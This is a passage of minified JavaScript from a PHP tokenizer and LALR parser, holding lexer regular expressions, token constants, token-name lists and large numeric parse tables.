(])/i},{value:r.Constants.T_DNUMBER,re:/^[0-9]*\\.[0-9]+([eE][-]?[0-9]*)?/},{value:r.Constants.T_LNUMBER,re:/^(0x[0-9A-F]+|[0-9]+)/i},{value:r.Constants.T_OPEN_TAG_WITH_ECHO,re:/^(\\<\\?=|\\<\\%=)/i},{value:r.Constants.T_OPEN_TAG,re:u},{value:r.Constants.T_VARIABLE,re:/^\\$[a-zA-Z_\\x7f-\\uffff][a-zA-Z0-9_\\x7f-\\uffff]*/},{value:r.Constants.T_WHITESPACE,re:/^\\s+/},{value:r.Constants.T_CONSTANT_ENCAPSED_STRING,re:/^(\"(?:[^\"\\\\]|\\\\[\\s\\S])*\"|'(?:[^'\\\\]|\\\\[\\s\\S])*')/,func:function(e,t){var n=0,i,s=0;if(e.substring(0,1)===\"'\")return e;var o=e.match(/(?:[^\\\\]|\\\\.)*[^\\\\]\\$[a-zA-Z_\\x7f-\\uffff][a-zA-Z0-9_\\x7f-\\uffff]*/g);if(o!==null){while(e.length>0){i=e.length,o=e.match(/^[\\[\\]\\;\\:\\?\\(\\)\\!\\.\\,\\>\\<\\=\\+\\-\\/\\*\\|\\&\\@\\^\\%\\\"\\'\\{\\}]/),o!==null&&(f.push(o[0]),e=e.substring(1),n>0&&o[0]===\"}\"&&n--,o[0]===\"[\"&&s++,o[0]===\"]\"&&s--),o=e.match(/^\\$[a-zA-Z_\\x7f-\\uffff][a-zA-Z0-9_\\x7f-\\uffff]*/);if(o!==null){f.push([parseInt(r.Constants.T_VARIABLE,10),o[0],l]),e=e.substring(o[0].length),o=e.match(/^(\\-\\>)\\s*([a-zA-Z_\\x7f-\\uffff][a-zA-Z0-9_\\x7f-\\uffff]*)\\s*(\\()/),o!==null&&(f.push([parseInt(r.Constants.T_OBJECT_OPERATOR,10),o[1],l]),f.push([parseInt(r.Constants.T_STRING,10),o[2],l]),o[3]&&f.push(o[3]),e=e.substring(o[0].length));if(e.match(/^\\[/g)!==null)continue}var u;n>0?u=/^([^\\\\\\$\"{}\\]\\(\\)\\->]|\\\\.)+/g:u=/^([^\\\\\\$\"{]|\\\\.|{[^\\$]|\\$(?=[^a-zA-Z_\\x7f-\\uffff]))+/g;var a,c;while((o=e.match(u))!==null){if(e.length===1)throw new Error(o);a=0,n>0?(c=o[0].match(/^[\\[\\]\\;\\:\\?\\(\\)\\!\\.\\,\\>\\<\\=\\+\\-\\/\\*\\|\\&\\{\\}\\@\\^\\%\\$\\~]/))?f.push(c[0]):a=r.Constants.T_STRING:a=r.Constants.T_ENCAPSED_AND_WHITESPACE,a&&f.push([parseInt(a,10),o[0].replace(/\\n/g,\"\\\\n\").replace(/\\r/g,\"\"),l]),l+=o[0].split(\"\\n\").length-1,e=e.substring(o[0].length)}n>0&&e.match(/^\\->/)!==null&&(f.push([parseInt(r.Constants.T_OBJECT_OPERATOR,10),\"->\",l]),e=e.substring(2)),e.match(/^{\\$/)!==null&&(f.push([parseInt(r.Constants.T_CURLY_OPEN,10),\"{\",l]),e=e.substring(1),n++);if(i===e.length&&(o=e.match(/^(([^\\\\]|\\\\.)*?[^\\\\]\\$[a-zA-Z_\\x7f-\\uffff][a-zA-Z0-9_\\x7f-\\uffff]*)/g))!==null)return}return undefined}return e=e.replace(/\\r/g,\"\"),e}},{value:r.Constants.T_NS_SEPARATOR,re:/^\\\\(?=[a-zA-Z_])/},{value:r.Constants.T_STRING,re:/^[a-zA-Z_\\x7f-\\uffff][a-zA-Z0-9_\\x7f-\\uffff]*/},{value:-1,re:/^[\\[\\]\\;\\:\\?\\(\\)\\!\\.\\,\\>\\<\\=\\+\\-\\/\\*\\|\\&\\{\\}\\@\\^\\%\\\"\\'\\$\\~]/}],f=[],l=1,c=!1,h=!0;if(e===null)return f;typeof e!=\"string\"&&(e=e.toString());while(e.length>0&&h===!0)if(c===!0)if(n!==undefined){var p=new RegExp(\"([\\\\S\\\\s]*?)(\\\\r\\\\n|\\\\n|\\\\r)(\"+n+\")(;|\\\\r\\\\n|\\\\n)\",\"i\"),d=e.match(p);d!==null&&(f.push([parseInt(r.Constants.T_ENCAPSED_AND_WHITESPACE,10),d[1].replace(/^\\n/g,\"\").replace(/\\\\\\$/g,\"$\")+\"\\n\",l]),l+=d[1].split(\"\\n\").length,f.push([parseInt(r.Constants.T_END_HEREDOC,10),d[3],l]),e=e.substring(d[1].length+d[2].length+d[3].length),n=undefined);if(d===null)throw Error(\"sup\")}else h=a.some(function(t){if(t.afterWhitespace===!0){var n=f[f.length-1];if(!Array.isArray(n)||n[0]!==r.Constants.T_WHITESPACE&&n[0]!==r.Constants.T_OPEN_TAG&&n[0]!==r.Constants.T_COMMENT)return!1}var i=e.match(t.re);if(i!==null){if(t.value!==-1){var s=i[0];t.func!==undefined&&(s=t.func(s,t)),s!==undefined&&(f.push([parseInt(t.value,10),s,l]),l+=s.split(\"\\n\").length-1)}else f.push(i[0]);return e=e.substring(i[0].length),!0}return!1});else{var d=o.exec(e);if(d===null)return f.push([parseInt(r.Constants.T_INLINE_HTML,10),e.replace(/^\\n/,\"\"),l]),f;if(d.index>0){var v=e.substring(0,d.index);f.push([parseInt(r.Constants.T_INLINE_HTML,10),v,l]),l+=v.split(\"\\n\").length-1,e=e.substring(d.index)}c=!0}return f},r.Parser=function(e,t){var n=this.yybase,i=this.yydefault,s=this.yycheck,o=this.yyaction,u=this.yylen,a=this.yygbase,f=this.yygcheck,l=this.yyp,c=this.yygoto,h=this.yylhs,p=this.terminals,d=this.translate,v=this.yygdefault;this.pos=-1,this.line=1,this.tokenMap=this.createTokenMap(),this.dropTokens={},this.dropTokens[r.Constants.T_WHITESPACE]=1,this.dropTokens[r.Constants.T_OPEN_TAG]=1;var m=[];e.forEach(function(e,t){typeof e==\"object\"&&e[0]===r.Constants.T_OPEN_TAG_WITH_ECHO?(m.push([r.Constants.T_OPEN_TAG,e[1],e[2]]),m.push([r.Constants.T_ECHO,e[1],e[2]])):m.push(e)}),this.tokens=m;var g=this.TOKEN_NONE;this.startAttributes={startLine:1},this.endAttributes={};var y=[this.startAttributes],b=0,w=[b];this.yyastk=[],this.stackPos=0;var E,S;for(;;){if(n[b]===0)E=i[b];else{g===this.TOKEN_NONE&&(S=this.getNextToken(),g=S>=0&&S<this.TOKEN_MAP_SIZE?d[S]:this.TOKEN_INVALID,y[this.stackPos]=this.startAttributes);if(((E=n[b]+g)>=0&&E<this.YYLAST&&s[E]===g||b<this.YY2TBLSTATE&&(E=n[b+this.YYNLSTATES]+g)>=0&&E<this.YYLAST&&s[E]===g)&&(E=o[E])!==this.YYDEFAULT)if(E>0){++this.stackPos,w[this.stackPos]=b=E,this.yyastk[this.stackPos]=this.tokenValue,y[this.stackPos]=this.startAttributes,g=this.TOKEN_NONE;if(E<this.YYNLSTATES)continue;E-=this.YYNLSTATES}else E=-E;else E=i[b]}for(;;){if(E===0)return this.yyval;if(E===this.YYUNEXPECTED){if(t!==!0){var N=[];for(var C=0;C<this.TOKEN_MAP_SIZE;++C)if((E=n[b]+C)>=0&&E<this.YYLAST&&s[E]==C||b<this.YY2TBLSTATE&&(E=n[b+this.YYNLSTATES]+C)&&E<this.YYLAST&&s[E]==C)if(o[E]!=this.YYUNEXPECTED){if(N.length==4){N=[];break}N.push(this.terminals[C])}var k=\"\";throw N.length&&(k=\", expecting \"+N.join(\" or \")),new r.ParseError(\"syntax error, unexpected \"+p[g]+k,this.startAttributes.startLine)}return this.startAttributes.startLine}for(var x in this.endAttributes)y[this.stackPos-u[E]][x]=this.endAttributes[x];try{this[\"yyn\"+E](y[this.stackPos-u[E]])}catch(T){throw T}this.stackPos-=u[E],E=h[E],(l=a[E]+w[this.stackPos])>=0&&l<this.YYGLAST&&f[l]===E?b=c[l]:b=v[E],++this.stackPos,w[this.stackPos]=b,this.yyastk[this.stackPos]=this.yyval,y[this.stackPos]=this.startAttributes;if(b<this.YYNLSTATES)break;E=b-this.YYNLSTATES}}},r.ParseError=function(e,t){this.message=e,this.line=t},r.Parser.prototype.MODIFIER_PUBLIC=1,r.Parser.prototype.MODIFIER_PROTECTED=2,r.Parser.prototype.MODIFIER_PRIVATE=4,r.Parser.prototype.MODIFIER_STATIC=8,r.Parser.prototype.MODIFIER_ABSTRACT=16,r.Parser.prototype.MODIFIER_FINAL=32,r.Parser.prototype.getNextToken=function(){this.startAttributes={},this.endAttributes={};var e,t;while(this.tokens[++this.pos]!==undefined){e=this.tokens[this.pos];if(typeof e==\"string\")return this.startAttributes.startLine=this.line,this.endAttributes.endLine=this.line,'b\"'===e?(this.tokenValue='b\"','\"'.charCodeAt(0)):(this.tokenValue=e,e.charCodeAt(0));this.line+=(t=e[1].match(/\\n/g))===null?0:t.length;if(r.Constants.T_COMMENT===e[0])Array.isArray(this.startAttributes.comments)||(this.startAttributes.comments=[]),this.startAttributes.comments.push({type:\"comment\",comment:e[1],line:e[2]});else if(r.Constants.T_DOC_COMMENT===e[0])this.startAttributes.comments.push(new PHPParser_Comment_Doc(e[1],e[2]));else if(this.dropTokens[e[0]]===undefined)return this.tokenValue=e[1],this.startAttributes.startLine=e[2],this.endAttributes.endLine=this.line,this.tokenMap[e[0]]}return this.startAttributes.startLine=this.line,0},r.Parser.prototype.tokenName=function(e){var t=[\"T_INCLUDE\",\"T_INCLUDE_ONCE\",\"T_EVAL\",\"T_REQUIRE\",\"T_REQUIRE_ONCE\",\"T_LOGICAL_OR\",\"T_LOGICAL_XOR\",\"T_LOGICAL_AND\",\"T_PRINT\",\"T_PLUS_EQUAL\",\"T_MINUS_EQUAL\",\"T_MUL_EQUAL\",\"T_DIV_EQUAL\",\"T_CONCAT_EQUAL\",\"T_MOD_EQUAL\",\"T_AND_EQUAL\",\"T_OR_EQUAL\",\"T_XOR_EQUAL\",\"T_SL_EQUAL\",\"T_SR_EQUAL\",\"T_BOOLEAN_OR\",\"T_BOOLEAN_AND\",\"T_IS_EQUAL\",\"T_IS_NOT_EQUAL\",\"T_IS_IDENTICAL\",\"T_IS_NOT_IDENTICAL\",\"T_IS_SMALLER_OR_EQUAL\",\"T_IS_GREATER_OR_EQUAL\",\"T_SL\",\"T_SR\",\"T_INSTANCEOF\",\"T_INC\",\"T_DEC\",\"T_INT_CAST\",\"T_DOUBLE_CAST\",\"T_STRING_CAST\",\"T_ARRAY_CAST\",\"T_OBJECT_CAST\",\"T_BOOL_CAST\",\"T_UNSET_CAST\",\"T_NEW\",\"T_CLONE\",\"T_EXIT\",\"T_IF\",\"T_ELSEIF\",\"T_ELSE\",\"T_ENDIF\",\"T_LNUMBER\",\"T_DNUMBER\",\"T_STRING\",\"T_STRING_VARNAME\",\"T_VARIABLE\",\"T_NUM_STRING\",\"T_INLINE_HTML\",\"T_CHARACTER\",\"T_BAD_CHARACTER\",\"T_ENCAPSED_AND_WHITESPACE\",\"T_CONSTANT_ENCAPSED_STRING\",\"T_ECHO\",\"T_DO\",\"T_WHILE\",\"T_ENDWHILE\",\"T_FOR\",\"T_ENDFOR\",\"T_FOREACH\",\"T_ENDFOREACH\",\"T_DECLARE\",\"T_ENDDECLARE\",\"T_AS\",\"T_SWITCH\",\"T_ENDSWITCH\",\"T_CASE\",\"T_DEFAULT\",\"T_BREAK\",\"T_CONTINUE\",\"T_GOTO\",\"T_FUNCTION\",\"T_CONST\",\"T_RETURN\",\"T_TRY\",\"T_CATCH\",\"T_THROW\",\"T_USE\",\"T_INSTEADOF\",\"T_GLOBAL\",\"T_STATIC\",\"T_ABSTRACT\",\"T_FINAL\",\"T_PRIVATE\",\"T_PROTECTED\",\"T_PUBLIC\",\"T_VAR\",\"T_UNSET\",\"T_ISSET\",\"T_EMPTY\",\"T_HALT_COMPILER\",\"T_CLASS\",\"T_TRAIT\",\"T_INTERFACE\",\"T_EXTENDS\",\"T_IMPLEMENTS\",\"T_OBJECT_OPERATOR\",\"T_DOUBLE_ARROW\",\"T_LIST\",\"T_ARRAY\",\"T_CALLABLE\",\"T_CLASS_C\",\"T_TRAIT_C\",\"T_METHOD_C\",\"T_FUNC_C\",\"T_LINE\",\"T_FILE\",\"T_COMMENT\",\"T_DOC_COMMENT\",\"T_OPEN_TAG\",\"T_OPEN_TAG_WITH_ECHO\",\"T_CLOSE_TAG\",\"T_WHITESPACE\",\"T_START_HEREDOC\",\"T_END_HEREDOC\",\"T_DOLLAR_OPEN_CURLY_BRACES\",\"T_CURLY_OPEN\",\"T_PAAMAYIM_NEKUDOTAYIM\",\"T_DOUBLE_COLON\",\"T_NAMESPACE\",\"T_NS_C\",\"T_DIR\",\"T_NS_SEPARATOR\"],n=\"UNKNOWN\";return t.some(function(t){return r.Constants[t]===e?(n=t,!0):!1}),n},r.Parser.prototype.createTokenMap=function(){var e={},t,n,i=r.Constants.T_PAAMAYIM_NEKUDOTAYIM;for(n=256;n<1e3;++n)i===n?e[n]=this.T_PAAMAYIM_NEKUDOTAYIM:r.Constants.T_OPEN_TAG_WITH_ECHO===n?e[n]=r.Constants.T_ECHO:r.Constants.T_CLOSE_TAG===n?e[n]=59:\"UNKNOWN\"!==(t=this.tokenName(n))&&(e[n]=this[t]);return e};var i=function(){this.yyval=this.yyastk[this.stackPos-0]};r.Parser.prototype.MakeArray=function(e){return Array.isArray(e)?e:[e]},r.Parser.prototype.parseString=function(e){var t=0;return\"b\"===e[0]&&(t=1),\"'\"===e[t]?e=e.replace([\"\\\\\\\\\",\"\\\\'\"],[\"\\\\\",\"'\"]):e=this.parseEscapeSequences(e,'\"'),e},r.Parser.prototype.parseEscapeSequences=function(e,t){undefined!==t&&(e=e.replace(new RegExp(\"\\\\\"+t,\"g\"),t));var n={\"\\\\\":\"\\\\\",$:\"$\",n:\"\\n\",r:\"\\r\",t:\"\t\",f:\"\\f\",v:\"\u000b\",e:\"\u001b\"};return e.replace(/~\\\\\\\\([\\\\\\\\$nrtfve]|[xX][0-9a-fA-F]{1,2}|[0-7]{1,3})~/g,function(e){var t=e[1];return n[t]!==undefined?n[t]:\"x\"===t[0]||\"X\"===t[0]?chr(hexdec(t)):chr(octdec(t))})},r.Parser.prototype.TOKEN_NONE=-1,r.Parser.prototype.TOKEN_INVALID=149,r.Parser.prototype.TOKEN_MAP_SIZE=384,r.Parser.prototype.YYLAST=913,r.Parser.prototype.YY2TBLSTATE=328,r.Parser.prototype.YYGLAST=415,r.Parser.prototype.YYNLSTATES=544,r.Parser.prototype.YYUNEXPECTED=32767,r.Parser.prototype.YYDEFAULT=-32766,r.Parser.prototype.YYERRTOK=256,r.Parser.prototype.T_INCLUDE=257,r.Parser.prototype.T_INCLUDE_ONCE=258,r.Parser.prototype.T_EVAL=259,r.Parser.prototype.T_REQUIRE=260,r.Parser.prototype.T_REQUIRE_ONCE=261,r.Parser.prototype.T_LOGICAL_OR=262,r.Parser.prototype.T_LOGICAL_XOR=263,r.Parser.prototype.T_LOGICAL_AND=264,r.Parser.prototype.T_PRINT=265,r.Parser.prototype.T_PLUS_EQUAL=266,r.Parser.prototype.T_MINUS_EQUAL=267,r.Parser.prototype.T_MUL_EQUAL=268,r.Parser.prototype.T_DIV_EQUAL=269,r.Parser.prototype.T_CONCAT_EQUAL=270,r.Parser.prototype.T_MOD_EQUAL=271,r.Parser.prototype.T_AND_EQUAL=272,r.Parser.prototype.T_OR_EQUAL=273,r.Parser.prototype.T_XOR_EQUAL=274,r.Parser.prototype.T_SL_EQUAL=275,r.Parser.prototype.T_SR_EQUAL=276,r.Parser.prototype.T_BOOLEAN_OR=277,r.Parser.prototype.T_BOOLEAN_AND=278,r.Parser.prototype.T_IS_EQUAL=279,r.Parser.prototype.T_IS_NOT_EQUAL=280,r.Parser.prototype.T_IS_IDENTICAL=281,r.Parser.prototype.T_IS_NOT_IDENTICAL=282,r.Parser.prototype.T_IS_SMALLER_OR_EQUAL=283,r.Parser.prototype.T_IS_GREATER_OR_EQUAL=284,r.Parser.prototype.T_SL=285,r.Parser.prototype.T_SR=286,r.Parser.prototype.T_INSTANCEOF=287,r.Parser.prototype.T_INC=288,r.Parser.prototype.T_DEC=289,r.Parser.prototype.T_INT_CAST=290,r.Parser.prototype.T_DOUBLE_CAST=291,r.Parser.prototype.T_STRING_CAST=292,r.Parser.prototype.T_ARRAY_CAST=293,r.Parser.prototype.T_OBJECT_CAST=294,r.Parser.prototype.T_BOOL_CAST=295,r.Parser.prototype.T_UNSET_CAST=296,r.Parser.prototype.T_NEW=297,r.Parser.prototype.T_CLONE=298,r.Parser.prototype.T_EXIT=299,r.Parser.prototype.T_IF=300,r.Parser.prototype.T_ELSEIF=301,r.Parser.prototype.T_ELSE=302,r.Parser.prototype.T_ENDIF=303,r.Parser.prototype.T_LNUMBER=304,r.Parser.prototype.T_DNUMBER=305,r.Parser.prototype.T_STRING=306,r.Parser.prototype.T_STRING_VARNAME=307,r.Parser.prototype.T_VARIABLE=308,r.Parser.prototype.T_NUM_STRING=309,r.Parser.prototype.T_INLINE_HTML=310,r.Parser.prototype.T_CHARACTER=311,r.Parser.prototype.T_BAD_CHARACTER=312,r.Parser.prototype.T_ENCAPSED_AND_WHITESPACE=313,r.Parser.prototype.T_CONSTANT_ENCAPSED_STRING=314,r.Parser.prototype.T_ECHO=315,r.Parser.prototype.T_DO=316,r.Parser.prototype.T_WHILE=317,r.Parser.prototype.T_ENDWHILE=318,r.Parser.prototype.T_FOR=319,r.Parser.prototype.T_ENDFOR=320,r.Parser.prototype.T_FOREACH=321,r.Parser.prototype.T_ENDFOREACH=322,r.Parser.prototype.T_DECLARE=323,r.Parser.prototype.T_ENDDECLARE=324,r.Parser.prototype.T_AS=325,r.Parser.prototype.T_SWITCH=326,r.Parser.prototype.T_ENDSWITCH=327,r.Parser.prototype.T_CASE=328,r.Parser.prototype.T_DEFAULT=329,r.Parser.prototype.T_BREAK=330,r.Parser.prototype.T_CONTINUE=331,r.Parser.prototype.T_GOTO=332,r.Parser.prototype.T_FUNCTION=333,r.Parser.prototype.T_CONST=334,r.Parser.prototype.T_RETURN=335,r.Parser.prototype.T_TRY=336,r.Parser.prototype.T_CATCH=337,r.Parser.prototype.T_THROW=338,r.Parser.prototype.T_USE=339,r.Parser.prototype.T_INSTEADOF=340,r.Parser.prototype.T_GLOBAL=341,r.Parser.prototype.T_STATIC=342,r.Parser.prototype.T_ABSTRACT=343,r.Parser.prototype.T_FINAL=344,r.Parser.prototype.T_PRIVATE=345,r.Parser.prototype.T_PROTECTED=346,r.Parser.prototype.T_PUBLIC=347,r.Parser.prototype.T_VAR=348,r.Parser.prototype.T_UNSET=349,r.Parser.prototype.T_ISSET=350,r.Parser.prototype.T_EMPTY=351,r.Parser.prototype.T_HALT_COMPILER=352,r.Parser.prototype.T_CLASS=353,r.Parser.prototype.T_TRAIT=354,r.Parser.prototype.T_INTERFACE=355,r.Parser.prototype.T_EXTENDS=356,r.Parser.prototype.T_IMPLEMENTS=357,r.Parser.prototype.T_OBJECT_OPERATOR=358,r.Parser.prototype.T_DOUBLE_ARROW=359,r.Parser.prototype.T_LIST=360,r.Parser.prototype.T_ARRAY=361,r.Parser.prototype.T_CALLABLE=362,r.Parser.prototype.T_CLASS_C=363,r.Parser.prototype.T_TRAIT_C=364,r.Parser.prototype.T_METHOD_C=365,r.Parser.prototype.T_FUNC_C=366,r.Parser.prototype.T_LINE=367,r.Parser.prototype.T_FILE=368,r.Parser.prototype.T_COMMENT=369,r.Parser.prototype.T_DOC_COMMENT=370,r.Parser.prototype.T_OPEN_TAG=371,r.Parser.prototype.T_OPEN_TAG_WITH_ECHO=372,r.Parser.prototype.T_CLOSE_TAG=373,r.Parser.prototype.T_WHITESPACE=374,r.Parser.prototype.T_START_HEREDOC=375,r.Parser.prototype.T_END_HEREDOC=376,r.Parser.prototype.T_DOLLAR_OPEN_CURLY_BRACES=377,r.Parser.prototype.T_CURLY_OPEN=378,r.Parser.prototype.T_PAAMAYIM_NEKUDOTAYIM=379,r.Parser.prototype.T_NAMESPACE=380,r.Parser.prototype.T_NS_C=381,r.Parser.prototype.T_DIR=382,r.Parser.prototype.T_NS_SEPARATOR=383,r.Parser.prototype.terminals=[\"$EOF\",\"error\",\"T_INCLUDE\",\"T_INCLUDE_ONCE\",\"T_EVAL\",\"T_REQUIRE\",\"T_REQUIRE_ONCE\",\"','\",\"T_LOGICAL_OR\",\"T_LOGICAL_XOR\",\"T_LOGICAL_AND\",\"T_PRINT\",\"'='\",\"T_PLUS_EQUAL\",\"T_MINUS_EQUAL\",\"T_MUL_EQUAL\",\"T_DIV_EQUAL\",\"T_CONCAT_EQUAL\",\"T_MOD_EQUAL\",\"T_AND_EQUAL\",\"T_OR_EQUAL\",\"T_XOR_EQUAL\",\"T_SL_EQUAL\",\"T_SR_EQUAL\",\"'?'\",\"':'\",\"T_BOOLEAN_OR\",\"T_BOOLEAN_AND\",\"'|'\",\"'^'\",\"'&'\",\"T_IS_EQUAL\",\"T_IS_NOT_EQUAL\",\"T_IS_IDENTICAL\",\"T_IS_NOT_IDENTICAL\",\"'<'\",\"T_IS_SMALLER_OR_EQUAL\",\"'>'\",\"T_IS_GREATER_OR_EQUAL\",\"T_SL\",\"T_SR\",\"'+'\",\"'-'\",\"'.'\",\"'*'\",\"'/'\",\"'%'\",\"'!'\",\"T_INSTANCEOF\",\"'~'\",\"T_INC\",\"T_DEC\",\"T_INT_CAST\",\"T_DOUBLE_CAST\",\"T_STRING_CAST\",\"T_ARRAY_CAST\",\"T_OBJECT_CAST\",\"T_BOOL_CAST\",\"T_UNSET_CAST\",\"'@'\",\"'['\",\"T_NEW\",\"T_CLONE\",\"T_EXIT\",\"T_IF\",\"T_ELSEIF\",\"T_ELSE\",\"T_ENDIF\",\"T_LNUMBER\",\"T_DNUMBER\",\"T_STRING\",\"T_STRING_VARNAME\",\"T_VARIABLE\",\"T_NUM_STRING\",\"T_INLINE_HTML\",\"T_ENCAPSED_AND_WHITESPACE\",\"T_CONSTANT_ENCAPSED_STRING\",\"T_ECHO\",\"T_DO\",\"T_WHILE\",\"T_ENDWHILE\",\"T_FOR\",\"T_ENDFOR\",\"T_FOREACH\",\"T_ENDFOREACH\",\"T_DECLARE\",\"T_ENDDECLARE\",\"T_AS\",\"T_SWITCH\",\"T_ENDSWITCH\",\"T_CASE\",\"T_DEFAULT\",\"T_BREAK\",\"T_CONTINUE\",\"T_GOTO\",\"T_FUNCTION\",\"T_CONST\",\"T_RETURN\",\"T_TRY\",\"T_CATCH\",\"T_THROW\",\"T_USE\",\"T_INSTEADOF\",\"T_GLOBAL\",\"T_STATIC\",\"T_ABSTRACT\",\"T_FINAL\",\"T_PRIVATE\",\"T_PROTECTED\",\"T_PUBLIC\",\"T_VAR\",\"T_UNSET\",\"T_ISSET\",\"T_EMPTY\",\"T_HALT_COMPILER\",\"T_CLASS\",\"T_TRAIT\",\"T_INTERFACE\",\"T_EXTENDS\",\"T_IMPLEMENTS\",\"T_OBJECT_OPERATOR\",\"T_DOUBLE_ARROW\",\"T_LIST\",\"T_ARRAY\",\"T_CALLABLE\",\"T_CLASS_C\",\"T_TRAIT_C\",\"T_METHOD_C\",\"T_FUNC_C\",\"T_LINE\",\"T_FILE\",\"T_START_HEREDOC\",\"T_END_HEREDOC\",\"T_DOLLAR_OPEN_CURLY_BRACES\",\"T_CURLY_OPEN\",\"T_PAAMAYIM_NEKUDOTAYIM\",\"T_NAMESPACE\",\"T_NS_C\",\"T_DIR\",\"T_NS_SEPARATOR\",\"';'\",\"'{'\",\"'}'\",\"'('\",\"')'\",\"'$'\",\"']'\",\"'`'\",\"'\\\"'\",\"???\"],r.Parser.prototype.translate=[0,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,47,148,149,145,46,30,149,143,144,44,41,7,42,43,45,149,149,149,149,149,149,149,149,149,149,25,140,35,12,37,24,59,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,60,149,146,29,149,147,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,141,28,142,49,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,149,1,2,3,4,5,6,8,9,10,11,13,14,15,16,17,18,19,20,21,22,23,26,27,31,32,33,34,36,38,39,40,48,50,51,52,53,54,55,56,57,58,61,62,63,64,65,66,67,68,69,70,71,72,73,74,149,149,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,149,149,149,149,149,149,131,132,133,134,135,136,137,138,139],r.Parser.prototype.yyaction=[61,62,363,63,64,-32766,-32766,-32766,509,65,708,709,710,707,706,705,-32766,-32766,-32766,-32766,-32766,-32766,132,-32766,-32766,-32766,-32766,-32766,-32767,-32767,-32767,-32767,-32766,335,-32766,-32766,-32766,-32766,-32766,66,67,351,663,664,40,68,548,69,232,233,70,71,72,73,74,75,76,77,30,246,78,336,364,-112,0,469,833,834,365,641,890,436,590,41,835,53,27,366,294,367,687,368,921,369,923,922,370,-32766,-32766,-32766,42,43,371,339,126,44,372,337,79,297,349,292,293,-32766,918,-32766,-32766,373,374,375,376,377,391,199,361,338,573,613,378,379,380,381,845,839,840,841,842,836,837,253,-32766,87,88,89,391,843,838,338,597,519,128,80,129,273,332,257,261,47,673,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,799,247,884,108,109,110,226,247,21,-32766,310,-32766,-32766,-32766,642,548,-32766,-32766,-32766,-32766,56,353,-32766,-32766,-32766,55,-32766,-32766,-32766,-32766,-32766,58,-32766,-32766,-32766,-32766,-32766,-32766,-32766,-32766,-32766,557,-32766,-32766,518,-32766,548,890,-32766,390,-32766,228,252,-32766,-32766,-32766,-32766,-32766,275,-32766,234,-32766,587,588,-32766,-32766,-32766,-32766,-32766,-32766,-32766,46,236,-32766,-32766,281,-32766,682,348,-32766,390,-32766,346,333,521,-32766,-32766,-32766,271,911,262,237,446,911,-32766,894,59,700,358,135,548,123,538,35,-32766,333,122,-32766,-32766,-32766,271,-32766,124,-32766,692,-32766,-32766,-32766,-32766,700,273,22,-32766,-32766,-32766,-32766,239,-32766,-32766,612,-32766,548,134,-32766,390,-32766,462,354,-32766,-32766,-32766,-32766,-32766,227,-32766,238,-32766,845,542,-32766,856,611,200,-32766,-32766,-32766,259,280,-32766,-32766,201,-32766,855,129,-32766,390,130,202,333,206,-32766,-32766,-32766,271,-32766,-32766,-32766,125,601,-32766,136,299,700,489,28,548,105,106,107,-32766,498,499,-32766,-32766,-32766,207,-32766,133,-32766,525,-32766,-32766,-32766,-32766,663,664,527,-32766,-32766,-32766,-32766,528,-32766,-32766,610,-32766,548,427,-32766,390,-32766,532,539,-32766,-32766,-32766,-32766,-32766,240,-32766,247,-32766,697,543,-32766,554,523,608,-32766,-32766,-32766,686,535,-32766,-32766,54,-32766,57,60,-32766,390,246,-155,278,345,-32766,-32766,-32766,506,347,-152,471,402,403,-32766,405,404,272,493,416,548,318,417,505,-32766,517,548,-32766,-32766,-32766,549,-32766,562,-32766,916,-32766,-32766,-32766,-32766,564,826,848,-32766,-32766,-32766,-32766,694,-32766,-32766,485,-32766,548,487,-32766,390,-32766,504,802,-32766,-32766,-32766,-32766,-32766,279,-32766,911,-32766,502,492,-32766,413,483,269,-32766,-32766,-32766,243,337,-32766,-32766,418,-32766,454,229,-32766,390,274,373,374,344,-32766,-32766,-32766,360,614,-32766,573,613,378,379,-274,548,615,-332,844,-32766,258,51,-32766,-32766,-32766,270,-32766,346,-32766,52,-32766,260,0,-32766,-333,-32766,-32766,-32766,-32766,-32766,-32766,205,-32766,-32766,49,-32766,548,424,-32766,390,-32766,-266,264,-32766,-32766,-32766,-32766,-32766,409,-32766,343,-32766,265,312,-32766,470,513,-275,-32766,-32766,-32766,920,337,-32766,-32766,530,-32766,531,600,-32766,390,592,373,374,578,581,-32766,-32766,644,629,-32766,573,613,378,379,635,548,636,576,627,-32766,625,693,-32766,-32766,-32766,691,-32766,591,-32766,582,-32766,203,204,-32766,584,583,-32766,-32766,-32766,-32766,586,599,-32766,-32766,589,-32766,690,558,-32766,390,197,683,919,86,520,522,-32766,524,833,834,529,533,-32766,534,537,541,835,48,111,112,113,114,115,116,117,118,119,120,121,127,31,633,337,330,634,585,-32766,32,291,337,330,478,373,374,917,291,891,889,875,373,374,553,613,378,379,737,739,887,553,613,378,379,824,451,675,839,840,841,842,836,837,320,895,277,885,23,33,843,838,556,277,337,330,-32766,34,-32766,555,291,36,37,38,373,374,39,45,50,81,82,83,84,553,613,378,379,-32767,-32767,-32767,-32767,103,104,105,106,107,337,85,131,137,337,138,198,224,225,277,373,374,-332,230,373,374,24,337,231,573,613,378,379,573,613,378,379,373,374,235,248,249,250,337,251,0,573,613,378,379,276,329,331,373,374,-32766,337,574,490,792,337,609,573,613,378,379,373,374,25,300,373,374,319,337,795,573,613,378,379,573,613,378,379,373,374,516,355,359,445,482,796,507,573,613,378,379,508,548,337,890,775,791,337,604,803,808,806,698,373,374,888,807,373,374,-32766,-32766,-32766,573,613,378,379,573,613,378,379,873,832,804,872,851,-32766,809,-32766,-32766,-32766,-32766,805,20,26,29,298,480,515,770,778,827,457,0,900,455,774,0,0,0,874,870